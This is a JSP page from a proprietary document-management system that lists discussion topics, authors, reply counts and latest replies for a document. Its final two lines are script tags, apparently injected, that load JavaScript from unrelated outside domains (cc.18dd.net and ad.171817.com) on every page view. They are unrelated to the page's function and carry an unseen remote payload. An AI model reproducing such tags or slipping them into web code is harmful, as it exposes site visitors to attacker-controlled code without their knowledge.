<%
/*
 * @(#)ListDmsForum.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsForum.jsp

  This is a ListDmsForum page.

    @author             Rollo Chan
    @company            DCIVision Ltd
    @creation date      13/08/2003
    @version            $Revision: 1.3.34.3 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.forum.*"%>
<%@ page import="com.dcivision.forum.bean.*"%>
<%@ page import="com.dcivision.forum.dao.*"%>
<%@ page import="com.dcivision.forum.web.*"%>
<%@ page import="com.dcivision.forum.core.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsForumForm" scope="request" class="com.dcivision.forum.web.ListForumGroupDetailForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "forumGroupDetailList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"forum.columnheader.discussion_object_type", GlobalConstant.NOT_AVAILABLE},
                            {"common.label.copy", GlobalConstant.NOT_AVAILABLE},
                            {"forum.columnheader.discussion_topic", GlobalConstant.NOT_AVAILABLE},
                            {"forum.columnheader.discussion_author", GlobalConstant.NOT_AVAILABLE},
                            {"forum.columnheader.discussion_replies", GlobalConstant.NOT_AVAILABLE},
                            {"forum.columnheader.discussion_read", GlobalConstant.NOT_AVAILABLE},
                            {"forum.columnheader.discussion_last_reply_by", GlobalConstant.NOT_AVAILABLE}
                          };

  String[][] SEARCH_MAP = { {"forum.columnheader.discussion_topic", "TOPIC"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   ForumManager forumManager = new ForumManager(sessionContainer, conn);


    String objectID  = listDmsForumForm.getObjectID()==null? request.getParameter("ID")==null? "" : (String) request.getParameter("ID"):(String)listDmsForumForm.getObjectID();
    String objectType = listDmsForumForm.getObjectType()==null? request.getParameter("documentType")==null? "" : (String) request.getParameter("documentType"):(String)listDmsForumForm.getObjectType();

    //Parameters used for DMS
    String rootID  = listDmsForumForm.getRootID()==null? request.getParameter("rootID")==null? "" : (String) request.getParameter("rootID"):(String)listDmsForumForm.getRootID();
    String docParentID = listDmsForumForm.getDocParentID()==null? request.getParameter("parentID")==null? "" : (String) request.getParameter("parentID"):(String)listDmsForumForm.getDocParentID();
    String curFunctionCode = listDmsForumForm.getCurFunctionCode()==null? request.getParameter("sCurFunctionCode")==null? "" : (String) request.getParameter("sCurFunctionCode"):(String)listDmsForumForm.getCurFunctionCode();
    String permission = request.getParameter("permission")==null? "" : (String) request.getParameter("permission");


    DmsDocument document = new DmsDocument();
    DmsDocument documentRoot = new DmsDocument();

    if (!Utility.isEmpty(objectID) && !Utility.isEmpty(objectType)){
      //get the name for object id
      if (GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(objectType)) {
        DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
        document = docRetrievalManager.getDocument(new Integer(objectID));

        if (Utility.isEmpty(permission)){
          documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(document.getRootID());
          PermissionManager permissionManager = sessionContainer.getPermissionManager();
          permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, document.getID());
        }
      }
    }

    String functionType = "forum.label.document_discussion_forum";
%>

<!-- Form Section Begin -->
<html:form action="dms/ListForum" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>

<html:hidden property="objectType"/>
<html:hidden property="objectID"/>
<html:hidden property="rootID"/>
<html:hidden property="docParentID"/>
<html:hidden property="curFunctionCode"/>

<!-- Section Header -->
<% if (!Utility.isEmpty(objectID) && !Utility.isEmpty(objectType)){%>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
    <td><layout:sectionHeader name='<%="forum.columnheader.document_discussion_topic"%>'/></td>
  </tr>
</table>
<%}%>

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsForumForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsForumForm.getSortAttribute()%>" sortOrder="<%=listDmsForumForm.getSortOrder()%>" editColumn="false" copyColumn="false" checkColumn="false" navMode="<%=GlobalConstant.NAV_MODE_PREVIEW%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsForum" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsForum).getID()%>);">
    <td align="center">
      <%String type = "forum.label.forum_object_type_" + ((ForumGroupDetail)dmsForum).getObjectType();%>
      <bean:message key='<%=type%>'/>
    </td>
    <td align="center">
      <logic:permission right='C' objectType='D' objectID='<%=documentRoot.getID()%>'>
      <a href="MaintDmsForum.do?navMode=C&ID=<bean:write name='dmsForum' property='ID'/>"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <td nowrap>
      <a href="MaintDmsForum.do?navMode=V&ID=<bean:write name='dmsForum' property='ID'/>&objectID=<bean:write name='dmsForum' property='objectID'/>&objectType=<bean:write name='dmsForum' property='objectType'/>">
      <bean:write name='dmsForum' property='topic'/></a>
    </td>
    <td class="bodyVerySmall" nowrap>
      <bean:write name='dmsForum' property='updaterName'/><br>
      <bean:write name='dmsForum' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/>
    </td>
    <td><%Integer replyTotal = (Integer) forumManager.getReplyTotal(((ForumGroupDetail)dmsForum).getID());   %>
    <%=TextUtility.formatNumberWithZeroPrefix(0, replyTotal, true)%>
    </td>

    <td><bean:write name='dmsForum' property='reads'/></td>
    <td class="bodyVerySmall" nowrap>
      <%ForumGroupDetail lastestReply = (ForumGroupDetail) forumManager.getLastestReplied(((ForumGroupDetail)dmsForum));   %>
      <%if (lastestReply!=null) {%>
        <a href='mailto:<%=UserInfoFactory.getUserEmailAddress(lastestReply.getCreatorID())%>'><nobr><%=lastestReply.getCreatorName()%></nobr></a><br>
        <%=TextUtility.formatTimestamp(lastestReply.getCreateDate())%>
        <a href="MaintDmsForum.do?opMode=<%=ForumOperationConstant.FOURM_REPLY%>&ID=<%=lastestReply.getID()%>&objectType=<%=lastestReply.getObjectType()%>&objectID=<%=lastestReply.getObjectID()%>">
        <html:img src='IconforumReply.gif'  alt="Reply to this message" />
        </a>
      <%}else{%>
        -
      <%}%>
    </td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsForumForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>